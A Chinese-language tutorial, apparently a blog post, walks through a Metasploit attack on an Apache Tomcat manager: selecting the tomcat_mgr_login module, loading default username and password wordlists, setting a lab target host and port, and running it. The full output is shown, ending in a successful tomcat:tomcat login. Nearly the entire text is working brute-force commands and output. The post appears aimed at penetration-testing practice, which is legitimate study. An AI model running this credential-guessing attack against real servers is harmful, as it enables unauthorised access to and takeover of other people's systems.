安全測試18--滲透攻擊Tomcat服務
阿新 • • 發佈:2021-12-21
1、開啟msfconsole控制檯
msfconsole
2、搜尋有效的Tomcat模組
msf > search tomcat
這裡我們選擇使用模組auxiliary/scanner/http/tomcat_mgr_login
3.使用Tomcat管理登入模組進行滲透攻擊,執行命令如下:
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
4,檢視tomcat_mgr_login模組有效選項,執行命令
msf auxiliary(scanner/http/tomcat_mgr_login) > show options
5.指定使用者名稱和密碼檔案,這裡使用預設路徑
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set user_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt user_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt msf6 auxiliary(scanner/http/tomcat_mgr_login) > setpass_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt pass_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt msf6 auxiliary(scanner/http/tomcat_mgr_login) >
6.指定要攻擊的目標伺服器
msf auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.52.132
7.設定伺服器埠號為8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8180 rport => 8180 msf6 auxiliary(scanner/http/tomcat_mgr_login) >
8,執行滲透程式
msf auxiliary(scanner/http/tomcat_mgr_login) > exploit [!] No active DB -- Credential data will not be saved! [-] 192.168.52.132:8180 - LOGIN FAILED: admin:admin (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: admin:manager (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: admin:role1 (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: admin:root (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: admin:tomcat (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: admin:s3cret (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: admin:vagrant (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: manager:admin (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: manager:manager (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: manager:role1 (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: manager:root (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: manager:tomcat (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: manager:s3cret (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: manager:vagrant (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: role1:admin (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: role1:manager (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: role1:role1 (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: role1:root (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: role1:tomcat (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: role1:s3cret (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: role1:vagrant (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: root:admin (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: root:manager (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: root:role1 (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: root:root (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: root:tomcat (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: root:s3cret (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: root:vagrant (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: tomcat:admin (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: tomcat:manager (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: tomcat:role1 (Incorrect) [-] 192.168.52.132:8180 - LOGIN FAILED: tomcat:root (Incorrect) [+] 192.168.52.132:8180 - Login Successful: tomcat:tomcat [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
從結果中可以看到找到的賬號密碼為tomcat,tomcat
更多技術請關注微信公眾號:程式設計師技術前沿